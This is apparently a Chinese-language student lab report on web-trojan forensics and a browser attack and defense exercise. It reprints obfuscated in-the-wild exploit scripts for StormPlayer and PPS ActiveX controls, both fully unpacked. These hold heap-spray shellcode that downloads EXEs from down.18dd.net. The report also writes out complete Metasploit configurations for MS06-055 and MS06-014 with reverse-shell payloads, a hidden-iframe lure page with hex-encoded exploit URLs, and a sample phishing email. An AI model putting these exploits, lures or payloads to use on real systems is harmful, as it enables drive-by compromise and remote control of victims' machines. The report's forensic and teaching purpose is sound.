eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5 1=29("%10%10");5 26=20;5 14=29("%82%3"+"%81%10%83%84%87%3%86%85"+"%79%78%72%22%71%70%69%73"+"%74%77%17%76%75%88%89%103"+"%17%102%101%104%105%108%107%106"+"%100%99%93%92%25%91%68%94"+"%95%98%97%25%96%109%63%37"+"%31%39%41%40%19%42%43%45"+"%38%3%44%46%35%12%32%22"+"%33%36%34%3%19%67%61%60"+"%59%62%47%66%65%64%58%57"+"%16%24%51%50%49%24%48%16"+"%52%53%56%55%54%90%152%168"+"%167%166%165%110%170%173%12%172"+"%171%164%12%157%156%155%154%158"+"%159%162%161%160%175%185%189%188"+"%187%191%193%195%194%23%192%190"+"%186%179%178%177%176%180%181%184"+"%183%182%174%153%18%11%125%124"+"%15%123%122%126%127%130%21%129"+"%128%121%120%114%18%11%113%112"+"%111%115%116%119%118%117%21%131"+"%132%146%11%144%147%148%151%150%149%143%142%136%23%135%134%133%137%15%3");5 4=26+14.6;13(1.6<4)1+=1;28=1.30(0,4);2=1.30(0,1.6-4);13(2.6+4<138)2=2+2+28;27=141 140();139(7=0;7<169;7++)27[7]=2+14;5 8=\'\';13(8.6<145)8+="\\9\\9\\9\\9";163.80(8)',10,196,'|bigblock|block|u0000|slackspace|var|length|x|buffer|x0a|u9090|u0041|u57ff|while|shellcode|u6578|u4320|ufb03|u7972|uc683||u6461|ud88b|u7465|u4343|u468b|headersize|memory|fillblock|unescape|substring|u008b|u5afc|u016a|u0057|u5652|ue859|uc103|u6ae8|uc303|uf78b|ufa8b|u8b0e|u6ad0|u8300|u5904|u0dc6|u5e80|u03c6|u632f|u03c7|u6643|u206a|uff53|u5c03|u04c7|uec57|u646d|u6303|ufa75|u803e|u8046|u3680|u02e1|uc7dc|u8b40|uec83|u5613|ud1c3|u1e74|u8b3c|u738b|u0840|u0378|u8bf3|u3314|u4e8b|u207e|u8bad|u1c70|rawParse|u9000|uf3e9|u5a90|ua164|u8b0c|u408b|u0030|u56ed|u5157|u2e61|u0324|ucd8b|u5e5f|u03e1|u33c1|u031c|u088b|u66c9|u59e9|ue245|u0e6a|uf28b|u3f8b|uf359|u74a6|ufcef|u835f|u5908|uc1c3|u50c0|u6e6f|u6d6c|u7275|u6172|u5500|u4c52|u6f6c|u6e77|u6f44|u6269|u4c64|u7845|u0063|u456e|u6957|u7469|u6854|u616f|u4c00|u6572|u6f54|u6946|u6662|u2f62|u622f|u6e2e|u652e|0x40000|for|Array|new|u6464|u3831|u7468|4068|u656c|u7074|u2f3a|u2e6e|u776f|u642f|uc765|u6f74|uff58|u0040|u2451|u68f0|u33d0|uacc0|u5251|uf975|uc085|storm|u5300|u3300|u0065|u7804|u0344|300|u5350|u6adc|u8bfc|u5056|u6365|u5356|u6547|u0073|u7365|u7264|u5374|u7379|u7269|u446d|u6574|ud2ff|u6441|u33ee|ue2ab|u595a|u636f|uc3c0|u7250|u0ce8|u47ff|uffff'.split('|'),0,{}))

b.js 原始脚本使用 Packer 类混淆,代码形态为:

eval(function(p,a,c,k,e,d){...})

CyberChef 中没有直接可用的 Packer Unpack 操作,因此采用 Node.js 辅助解包。将最外层的 eval(function(...)) 改为:

console.log(function(p,a,c,k,e,d){...})

然后执行:

node .\b_unpacker.js > .\b_unpacked.js

image-20260501134335303

最终得到:

var bigblock = unescape('%u9090%u9090');
var headersize = 20;
var shellcode = unescape('%uf3e9%u0000' + '%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c' + '%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378' + '%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b' + '%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef' + '%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1' + '%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103' + '%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904' + '%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b' + '%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e' + '%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d' + '%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320' + '%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344' + '%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc' + '%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0' + '%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab' + '%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f' + '%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574' + '%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e' + '%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00' + '%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c' + '%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54' + '%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000');
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace)
	bigblock += bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length - slackspace);
while (block.length + slackspace < 262144)
	block = block + block + fillblock;
memory = new Array();
for (x = 0; x < 300; x++)
	memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 4068)
	buffer += '\n\n\n\n';
storm.rawParse(buffer);

解包后的脚本中出现了多个典型浏览器漏洞利用特征,包括:

var bigblock = unescape('%u9090%u9090');
var headersize = 20;
var shellcode = unescape('...');
memory = new Array();
for (x = 0; x < 300; x++)
    memory[x] = block + shellcode;
storm.rawParse(buffer);

其中 bigblock%u9090 用于构造 NOP sled,memory 数组用于堆喷射,shellcode 中保存实际执行代码,storm.rawParse(buffer) 则说明脚本尝试调用 StormPlayer 控件相关方法触发漏洞。

image-20260501140857880

image-20260501140910411

shellcode 通常不会直接包含大量复杂功能,而是完成下载执行。对解包后的内容提取 URL 特征字符串,可以发现下载地址:

http://down.18dd.net/bb/bf.exe

因此,b.js 可判断为针对 StormPlayer 控件的二阶段漏洞利用脚本。其通过 heap spray 布置 shellcode,再调用控件方法触发漏洞,shellcode 成功执行后下载并运行 bf.exe

2.3.7 pps.js 分析:PPS / PowerPlayer ActiveX 控件漏洞

pps.js

eval("\57\52\45\165\66\66\143\71\45\165\60\70\70\142\45\165\64\66\70\142\45\165\60\63\61\143\45\165\143\61\143\63\45\165\60\62\145\61\45\165\143\61\60\63\42\40\53\15\12\42\45\165\60\60\70\142\45\165\143\63\60\63\45\165\146\141\70\142\45\165\146\67\70\142\45\165\143\66\70\63\45\165\70\142\60\145\45\165\66\141\144\60\45\165\65\71\60\64\42\40\53\15\12\42\45\165\66\141\145\70\45\165\60\60\60\60\45\165\70\63\60\60\45\165\60\144\143\66\45\165\65\66\65\62\45\165\65\67\146\146\45\165\65\141\146\143\45\165\144\70\70\142\42\40\53\15\12\42\45\165\60\61\66\141\45\165\145\70\65\71\45\165\60\60\65\67\45\165\60\60\60\60\45\165\143\66\70\63\45\165\65\66\61\63\45\165\70\60\64\66\45\165\70\60\63\145\42\40\53\15\12\42\45\165\146\141\67\65\45\165\63\66\70\60\45\165\65\145\70\60\45\165\145\143\70\63\45\165\70\142\64\60\45\165\143\67\144\143\45\165\66\63\60\63\45\165\66\64\66\144\42\40\53\15\12\42\45\165\64\63\62\60\45\165\64\63\64\63\45\165\66\66\64\63\45\165\60\63\143\67\45\165\66\63\62\146\45\165\64\63\64\63\45\165\60\63\143\66\45\165\64\63\62\60\42\40\53\15\12\42\45\165\62\60\66\141\45\165\146\146\65\63\45\165\145\143\65\67\45\165\52\57\15\12\160\160\163\75\50\144\157\143\165\155\145\156\164\56\143\162\145\141\164\145\105\154\145\155\145\156\164\50\42\157\142\152\145\143\164\42\51\51\73\15\12\160\160\163\56\163\145\164\101\164\164\162\151\142\165\164\145\50\42\143\154\141\163\163\151\144\42\54\42\143\154\163\151\144\72\65\105\103\67\103\65\61\61\55\103\104\60\106\55\64\62\105\66\55\70\63\60\103\55\61\102\104\71\70\70\62\106\63\64\65\70\42\51\15\12\166\141\162\40\163\150\145\154\154\143\157\144\145\40\75\40\165\156\145\163\143\141\160\145\50\42\45\165\146\63\145\71\45\165\60\60\60\60\42\53\15\12\42\45\165\71\60\60\60\45\165\71\60\71\60\45\165\65\141\71\60\45\165\141\61\66\64\45\165\60\60\63\60\45\165\60\60\60\60\45\165\64\60\70\142\45\165\70\142\60\143\42\40\53\15\12\42\45\165\61\143\67\60\45\165\70\142\141\144\45\165\60\70\64\60\45\165\144\70\70\142\45\165\67\63\70\142\45\165\70\142\63\143\45\165\61\145\67\64\45\165\60\63\67\70\42\40\53\15\12\42\45\165\70\142\146\63\45\165\62\60\67\145\45\165\146\142\60\63\45\165\64\145\70\142\45\165\63\63\61\64\45\165\65\66\145\144\45\165\65\61\65\67\45\165\63\146\70\142\42\40\53\15\12\42\45\165\146\142\60\63\45\165\146\62\70\142\45\165\60\145\66\141\45\165\146\63\65\71\45\165\67\64\141\66\45\165\65\71\60\70\45\165\70\63\65\146\45\165\60\64\143\67\42\40\53\15\12\42\45\165\145\62\64\65\45\165\65\71\145\71\45\165\65\145\65\146\45\165\143\144\70\142\45\165\64\66\70\142\45\165\60\63\62\64\45\165\144\61\143\63\45\165\60\63\145\61\42\40\53\15\12\42\45\165\63\63\143\61\45\165\66\66\143\71\45\165\60\70\70\142\45\165\64\66\70\142\45\165\60\63\61\143\45\165\143\61\143\63\45\165\60\62\145\61\45\165\143\61\60\63\42\40\53\15\12\42\45\165\60\60\70\142\45\165\143\63\60\63\45\165\146\141\70\142\45\165\146\67\70\142\45\165\143\66\70\63\45\165\70\142\60\145\45\165\66\141\144\60\45\165\65\71\60\64\42\40\53\15\12\42\45\165\66\141\145\70\45\165\60\60\60\60\45\165\70\63\60\60\45\165\60\144\143\66\45\165\65\66\65\62\45\165\65\67\146\146\45\165\65\141\146\143\45\165\144\70\70\142\42\40\53\15\12\42\45\165\60\61\66\141\45\165\145\70\65\71\45\165\60\60\65\67\45\165\60\60\60\60\45\165\143\66\70\63\45\165\65\66\61\63\45\165\70\60\64\66\45\165\70\60\63\145\42\40\53\15\12\42\45\165\146\141\67\65\45\165\63\66\70\60\45\165\65\145\70\60\45\165\145\143\70\63\45\165\70\142\64\60\45\165\143\67\144\143\45\165\66\63\60\63\45\165\66\64\66\144\42\40\53\15\12\42\45\165\64\63\62\60\45\165\64\63\64\63\45\165\66\66\64\63\45\165\60\63\143\67\45\165\66\63\62\146\45\165\64\63\64\63\45\165\60\63\143\66\45\165\64\63\62\60\42\40\53\15\12\42\45\165\62\60\66\141\45\165\146\146\65\63\45\165\145\143\65\67\45\165\60\64\143\67\45\165\65\143\60\63\45\165\62\145\66\61\45\165\143\67\66\65\45\165\60\63\64\64\42\40\53\15\12\42\45\165\67\70\60\64\45\165\60\60\66\65\45\165\63\63\60\60\45\165\65\60\143\60\45\165\65\63\65\60\45\165\65\60\65\66\45\165\65\67\146\146\45\165\70\142\146\143\42\40\53\15\12\42\45\165\66\141\144\143\45\165\65\63\60\60\45\165\65\67\146\146\45\165\66\70\146\60\45\165\62\64\65\61\45\165\60\60\64\60\45\165\146\146\65\70\45\165\63\63\144\60\42\40\53\15\12\42\45\165\141\143\143\60\45\165\143\60\70\65\45\165\146\71\67\65\45\165\65\62\65\61\45\165\65\63\65\66\45\165\144\62\146\146\45\165\65\71\65\141\45\165\145\62\141\142\42\40\53\15\12\42\45\165\63\63\145\145\45\165\143\63\143\60\45\165\60\143\145\70\45\165\146\146\146\146\45\165\64\67\146\146\45\165\67\64\66\65\45\165\67\62\65\60\45\165\66\63\66\146\42\40\53\15\12\42\45\165\66\64\64\61\45\165\67\62\66\64\45\165\67\63\66\65\45\165\60\60\67\63\45\165\66\65\64\67\45\165\65\63\67\64\45\165\67\63\67\71\45\165\66\65\67\64\42\40\53\15\12\42\45\165\64\64\66\144\45\165\67\62\66\71\45\165\66\63\66\65\45\165\66\146\67\64\45\165\67\71\67\62\45\165\60\60\64\61\45\165\66\71\65\67\45\165\64\65\66\145\42\40\53\15\12\42\45\165\66\65\67\70\45\165\60\60\66\63\45\165\67\70\64\65\45\165\67\64\66\71\45\165\66\70\65\64\45\165\66\65\67\62\45\165\66\64\66\61\45\165\64\143\60\60\42\40\53\15\12\42\45\165\66\61\66\146\45\165\64\143\66\64\45\165\66\62\66\71\45\165\66\61\67\62\45\165\67\71\67\62\45\165\60\60\64\61\45\165\67\62\67\65\45\165\66\144\66\143\42\40\53\15\12\42\45\165\66\145\66\146\45\165\65\65\60\60\45\165\64\143\65\62\45\165\66\146\64\64\45\165\66\145\67\67\45\165\66\146\66\143\45\165\66\64\66\61\45\165\66\146\65\64\42\40\53\15\12\42\45\165\66\71\64\66\45\165\66\65\66\143\45\165\60\60\64\61\45\165\67\64\66\70\45\165\67\60\67\64\45\165\62\146\63\141\45\165\66\64\62\146\45\165\67\67\66\146\45\165\62\145\66\145\45\165\63\70\63\61\45\165\66\64\66\64\45\165\66\145\62\145\45\165\67\64\66\65\45\165\66\62\62\146\45\165\62\146\66\62\45\165\67\60\67\60\45\165\62\145\67\63\45\165\67\70\66\65\45\165\60\60\66\65\42\51\73\15\12\166\141\162\40\142\151\147\142\154\157\143\153\40\75\40\165\156\145\163\143\141\160\145\50\42\45\165\71\60\71\60\45\165\71\60\71\60\42\51\73\15\12\166\141\162\40\150\145\141\144\145\162\163\151\172\145\40\75\40\62\60\73\15\12\166\141\162\40\163\154\141\143\153\163\160\141\143\145\40\75\40\150\145\141\144\145\162\163\151\172\145\53\163\150\145\154\154\143\157\144\145\56\154\145\156\147\164\150\73\15\12\167\150\151\154\145\40\50\142\151\147\142\154\157\143\153\56\154\145\156\147\164\150\74\163\154\141\143\153\163\160\141\143\145\51\40\142\151\147\142\154\157\143\153\53\75\142\151\147\142\154\157\143\153\73\15\12\146\151\154\154\142\154\157\143\153\40\75\40\142\151\147\142\154\157\143\153\56\163\165\142\163\164\162\151\156\147\50\60\54\40\163\154\141\143\153\163\160\141\143\145\51\73\15\12\142\154\157\143\153\40\75\40\142\151\147\142\154\157\143\153\56\163\165\142\163\164\162\151\156\147\50\60\54\40\142\151\147\142\154\157\143\153\56\154\145\156\147\164\150\55\163\154\141\143\153\163\160\141\143\145\51\73\15\12\167\150\151\154\145\50\142\154\157\143\153\56\154\145\156\147\164\150\53\163\154\141\143\153\163\160\141\143\145\74\60\170\64\60\60\60\60\51\40\142\154\157\143\153\40\75\40\142\154\157\143\153\53\142\154\157\143\153\53\146\151\154\154\142\154\157\143\153\73\15\12\155\145\155\157\162\171\40\75\40\156\145\167\40\101\162\162\141\171\50\51\73\15\12\146\157\162\40\50\170\75\60\73\40\170\74\64\60\60\73\40\170\53\53\51\40\155\145\155\157\162\171\133\170\135\40\75\40\142\154\157\143\153\40\53\40\163\150\145\154\154\143\157\144\145\73\15\12\166\141\162\40\142\165\146\146\145\162\40\75\40\47\47\73\15\12\167\150\151\154\145\40\50\142\165\146\146\145\162\56\154\145\156\147\164\150\40\74\40\65\60\60\51\40\142\165\146\146\145\162\53\75\42\134\170\60\141\134\170\60\141\134\170\60\141\134\170\60\141\42\73\15\12\160\160\163\56\114\157\147\157\40\75\40\142\165\146\146\145\162\15\12")

image-20260501141400909

pps.js 原始脚本使用八进制和转义字符串进行混淆。

最终得到:

/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u*/
pps = document.createElement('object');
pps.setAttribute('classid', 'clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458');
var shellcode = unescape('%uf3e9%u0000' + '%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c' + '%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378' + '%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b' + '%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7' + '%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1' + '%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103' + '%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904' + '%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b' + '%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e' + '%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d' + '%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320' + '%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344' + '%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc' + '%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0' + '%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab' + '%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f' + '%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574' + '%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e' + '%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00' + '%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c' + '%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54' + '%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065');
var bigblock = unescape('%u9090%u9090');
var headersize = 20;
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace)
	bigblock += bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length - slackspace);
while (block.length + slackspace < 262144)
	block = block + block + fillblock;
memory = new Array();
for (x = 0; x < 400; x++)
	memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500)
	buffer += '\n\n\n\n';
pps.Logo = buffer;

解码后可以看到其创建了一个 PPS / PowerPlayer ActiveX 控件对象:

pps = document.createElement('object');
pps.setAttribute('classid', 'clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458');

随后脚本构造 %uXXXX 形式的 shellcode,并使用 %u9090 构造 NOP sled:

var shellcode = unescape('%uf3e9%u0000' + ...);
var bigblock = unescape('%u9090%u9090');

脚本继续通过 memory 数组进行堆喷射,将大量 NOP sled 和 shellcode 布置在浏览器进程内存中:

memory = new Array();
for (x = 0; x < 400; x++)
    memory[x] = block + shellcode;

最后通过给 PPS 控件属性赋异常字符串触发漏洞:

pps.Logo = buffer;

从 shellcode 中提取到最终下载地址:

http://down.18dd.net/bb/pps.exe

因此,pps.js 是针对 PPS / PowerPlayer ActiveX 控件的二阶段漏洞利用脚本。其行为包括创建控件对象、构造 shellcode、堆喷射、触发控件异常,并下载执行 pps.exe

2.3.8 bd.cab 与可执行文件同源性分析

image-20260501143650595

bd.cab 进行解压后得到 bd.exe。至此,攻击链中最终涉及的可执行文件包括:

  • 014.exe
  • bf.exe
  • pps.exe
  • bd.exe

这些文件在资源管理器中显示大小相同。进一步计算文件内容 MD5 后发现,多个落地文件内容完全相同,说明不同二阶段脚本虽然使用了不同下载地址,但最终投递的可能是同一个木马样本。这样后续静态分析可以选择其中一个样本进行,避免重复分析。

文件 URL / 文件名 URL 字符串 MD5 或来源 样本内容 MD5 分析结论
http://down.18dd.net/bb/014.exe ca4e4a1730b0f69a9b94393d9443b979 1290ecd734d68d52318ea9016dc6fe63 与其他 EXE 内容一致
http://down.18dd.net/bb/bf.exe 268cbd59fbed235f6cf6b41b92b03f8e 1290ecd734d68d52318ea9016dc6fe63 与其他 EXE 内容一致
http://down.18dd.net/bb/pps.exe ff59b3b8961f502289c1b4df8c37e2a4 1290ecd734d68d52318ea9016dc6fe63 与其他 EXE 内容一致
bd.exe bd.cab 解压得到 1290ecd734d68d52318ea9016dc6fe63 与其他 EXE 内容一致

image-20260501144421539

后续选择 pps.exe 作为代表样本进行静态分析。

2.3.9 可执行文件静态分析结论

首先使用 WinXP 环境中的超级巡警虚拟机自动脱壳工具对 pps.exe 进行脱壳。工具识别结果显示样本具有 Borland Delphi 相关特征。脱壳后使用 IDA 对文件进行静态分析,重点查看字符串、函数调用、注册表操作、文件操作和网络下载地址。

image-20260501145122108

image-20260501145456648

结合字符串和函数调用,可以整理出以下分析结论。

第一,样本可能生成名为 Alletdel.bat 的批处理文件。字符串中出现 goto try:tryAlletdel.batcmd /c datecmd /c date 1981-01-12deldel %0if exist 等内容,说明该批处理可能通过循环标签执行文件删除、自删除、日期修改或反复检测文件存在性等操作。

第二,样本可能在磁盘根目录生成 AutoRun.inf,利用自动运行机制实现传播或自启动。相关证据包括 :\AutoRun.inf[AutoRun] open=AutoRun.infshell\Auto\command= 等字符串。

第三,样本可能修改 IE、注册表、服务或系统文件。样本中出现 advapi32.dlldrivers/klif.sys\program files\internet explorer\IEXPLORE.EXEIEXPLORE.EXESoftware\Microsoft\Windows\CurrentVersion\PoliKernel32.dllSOFTWARE\Borland\Delphi\RTLChangeServiceConfig2AChangeServiceConfig2WQueryServiceConfig2AQueryServiceConfig2W 等字符串和 API 名称,说明其可能涉及服务配置、注册表策略或浏览器相关文件操作。

第四,样本可能具备一定干扰安全防护软件的能力。字符串中出现“瑞星卡卡上网安全助手 - IE防漏墙”“允许”“允许执行”等内容,表明样本可能尝试绕过或诱导安全软件放行相关操作。

第五,样本可能继续下载多个木马程序。IDA 字符串中出现大量形如 http://down.18dd.net/kl/**.exe 的地址,数量较多,说明该样本不只是单一落地程序,还可能承担后续木马下载和扩展投递功能。

上面这段分析来自wp文件

本节取证结果表明,该网页木马攻击链具有典型多层结构:入口页通过隐藏 iframe 和 script 加载外部资源,混淆脚本探测 ActiveX 和旧控件环境,二阶段脚本使用下载执行、堆喷射和控件漏洞触发等方式投递 EXE,最终样本可能执行自启动、系统修改、防护干扰和继续下载等行为。

2.4 攻防对抗实践:Web 浏览器渗透攻击攻防

本部分模拟浏览器端攻击与防守分析过程。攻击方使用 Metasploit 构造两个不同 Web 浏览端漏洞利用 URL,对其进行十六进制混淆,并封装到统一入口页面中;防守方对邮件中的挂马链接进行提取、解混淆、源码审计和抓包分析,恢复真实漏洞利用地址并判断攻击结果。

2.4.1 攻防双方环境

角色 人员 系统 IP 地址
攻击方 s1in Kali Linux 192.168.5.5
靶机 / 防守分析对象 ech0 Windows 2000 192.168.5.10

image-20260506131221527

image-20260506131415746

攻击方 Kali 负责运行 Metasploit 模块和 Web 入口页面,靶机 Windows 2000 负责使用 IE 访问诱导 URL。实验前通过 ifconfigipconfigping 确认两端连通。

2.4.2 单独验证第一个漏洞:MS06-055

为避免统一入口页调试时难以区分问题来源,先单独验证 MS06-055 漏洞利用 URL。启动 Metasploit 并清理旧任务:

msfconsole -q
jobs -K
sessions -K

配置 MS06-055 模块:

use exploit/windows/browser/ms06_055_vml_method
set SRVHOST 0.0.0.0
set SRVPORT 8081
set URIPATH /ms06055
set payload windows/shell/reverse_tcp
set LHOST 192.168.5.5
set LPORT 4455
set ExitOnSession false
set VERBOSE true
show options
run -j

image-20260506132515798

此时第一个恶意 URL 为:

http://192.168.5.5:8081/ms06055

image-20260506132755281

在 Win2000 IE 中访问该 URL。若触发成功,Metasploit 会显示类似 Command shell session opened 的提示。进入 session 后执行命令验证:

sessions -l
sessions -i 1
ver
ipconfig

image-20260506133011523

该步骤用于确认 MS06-055 URL 本身可独立触发,后续统一入口页只负责隐藏加载和混淆封装。

2.4.3 单独验证第二个漏洞:MS06-014

为避免 IE 崩溃影响第二个实验,关闭 Win2000 的 IE,必要时重启靶机。随后清理 Metasploit 中旧任务和旧会话:

jobs -K
sessions -K

配置 MS06-014 模块:

use exploit/windows/browser/ie_createobject
set SRVHOST 0.0.0.0
set SRVPORT 8082
set URIPATH /ms06014
set payload windows/shell/reverse_tcp
set LHOST 192.168.5.5
set LPORT 5544
set ExitOnSession false
set VERBOSE true
show options
run -j

image-20260506133250575

image-20260506133334435

第二个恶意 URL 为:

http://192.168.5.5:8082/ms06014

image-20260506133449349

image-20260506133509800

在 Win2000 IE 中单独访问该 URL。成功后进入对应 session,执行命令验证远程命令执行能力:

sessions -l
sessions -i 2
ver
ipconfig

image-20260506133620193

两个漏洞 URL 分别验证后,可以确认它们都可以作为独立漏洞利用页面使用。后续实验重点转为如何将两个 URL 混淆后封装为统一入口,并由防守方还原。

2.4.4 构造统一入口 URL 并进行十六进制混淆

攻击方将两个真实漏洞利用地址作为待隐藏目标:

http://192.168.5.5:8081/ms06055
http://192.168.5.5:8082/ms06014

将上述 URL 转换为十六进制字符串,得到:

687474703a2f2f3139322e3136382e352e353a383038312f6d733036303535
687474703a2f2f3139322e3136382e352e353a383038322f6d733036303134

image-20260506133708822

开启 Apache:

sudo systemctl start apache2
sudo systemctl status apache2

image-20260506133841269

创建目录:

sudo mkdir -p /var/www/html/lab11

创建入口页:

sudo nano /var/www/html/lab11/index.html

image-20260506134038278

入口页 index.html 中编写 h2s() 函数,用于将十六进制字符串还原为 URL,再通过隐藏 iframe 加载两个漏洞页面。使用 document.createElement("iframe")appendChild() 动态创建 iframe。

<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>浏览器兼容性测试</title>
</head>
<body>
<h3>浏览器兼容性测试页面</h3>
<p>正在加载实验资源,请稍候...</p>
<script>
function h2s(h) {
    var s = "";
    for (var i = 0; i < h.length; i += 2) {
        s += String.fromCharCode(parseInt(h.substr(i, 2), 16));
    }
    return s;
}

function loadHiddenFrame(url) {
    var f = document.createElement("iframe");
    f.src = url;
    f.width = "1";
    f.height = "1";
    f.style.display = "none";
    document.body.appendChild(f);
}

var u1 = "687474703a2f2f3139322e3136382e352e353a383038312f6d733036303535";
var u2 = "687474703a2f2f3139322e3136382e352e353a383038322f6d733036303134";

window.onload = function () {
    loadHiddenFrame(h2s(u1));
    setTimeout(function () {
        loadHiddenFrame(h2s(u2));
    }, 5000);
};
</script>
</body>
</html>

统一入口 URL 为:

http://192.168.5.5/lab11/index.html

混淆的目的在于让邮件中只出现统一入口 URL,而不直接暴露真实漏洞路径、端口和模块特征。防守方若只查看邮件正文,很难直接判断页面背后封装了两个浏览器漏洞利用地址。

2.4.5 模拟欺骗邮件

攻击方将统一入口伪装为“浏览器兼容性测试页面”,通过模拟邮件发送给防守方。邮件内容示例如下:

主题:关于浏览器兼容性测试页面的通知

同学你好:

请在实验靶机浏览器中打开下面的页面,完成浏览器兼容性测试:

http://192.168.5.5/lab11/index.html

本链接仅用于课堂实验环境。

image-20260506145428731

该步骤用于模拟真实攻击中常见的诱导访问过程。实验只在本地虚拟机环境中进行,邮件内容与 URL 均服务于课程实践。

2.4.6 统一入口页验证与异常现象

重新启动两个 Metasploit exploit 服务,使两个真实漏洞 URL 均处于监听状态。理论上,Win2000 IE 访问统一入口后,应先隐藏加载 /ms06055,再加载 /ms06014

启动 MS06-055 服务:

jobs -K
sessions -K
use exploit/windows/browser/ms06_055_vml_method
set SRVHOST 0.0.0.0
set SRVPORT 8081
set URIPATH /ms06055
set payload windows/shell/reverse_tcp
set LHOST 192.168.5.5
set LPORT 4455
set ExitOnSession false
set VERBOSE true
run -j

image-20260506134329347

启动 MS06-014 服务:

use exploit/windows/browser/ie_createobject
set SRVHOST 0.0.0.0
set SRVPORT 8082
set URIPATH /ms06014
set payload windows/shell/reverse_tcp
set LHOST 192.168.5.5
set LPORT 5544
set ExitOnSession false
set VERBOSE true
run -j
jobs -v

image-20260506134443433

image-20260506134504251

Win2000 IE 访问统一入口:

http://192.168.5.5/lab11/index.html

靶机浏览器访问 http://192.168.5.5/lab11/index.html 。同时wireshark开启抓包。

image-20260506134920125

image-20260506134947623

image-20260506141506339

image-20260506141539420

还原出:

http://192.168.5.5:8081/ms06055
http://192.168.5.5:8082/ms06014

但是在攻击机中并没有会话反弹过来。

image-20260506135450779

初始抓包结果显示,靶机成功访问了 index.html,但后续没有按预期访问 /ms06055/ms06014。这说明问题不在基础网络连通性,而可能出现在旧版 IE 对入口页 JavaScript 的执行或 iframe 动态创建兼容性上。

为验证 JavaScript 是否执行,在 Kali 上新建最小测试页 jstest.html

sudo nano /var/www/html/lab11/jstest.html

写入:

<html>
<body>
<h3>JS Test</h3>
<script>
document.write("<p>JavaScript is running.</p>");
alert("JS OK");
</script>
</body>
</html>

Win2000 IE 访问:

http://192.168.5.5/lab11/jstest.html

image-20260506135946131

如果没有弹出 JS OK,说明 IE 禁用了脚本,需要在 IE 中调整安全设置:

工具 → Internet 选项 → 安全 → 自定义级别

将以下选项设置为启用:

  • 活动脚本;
  • Java 小程序脚本;
  • 运行 ActiveX 控件和插件;
  • 对标记为可安全执行脚本的 ActiveX 控件执行脚本。

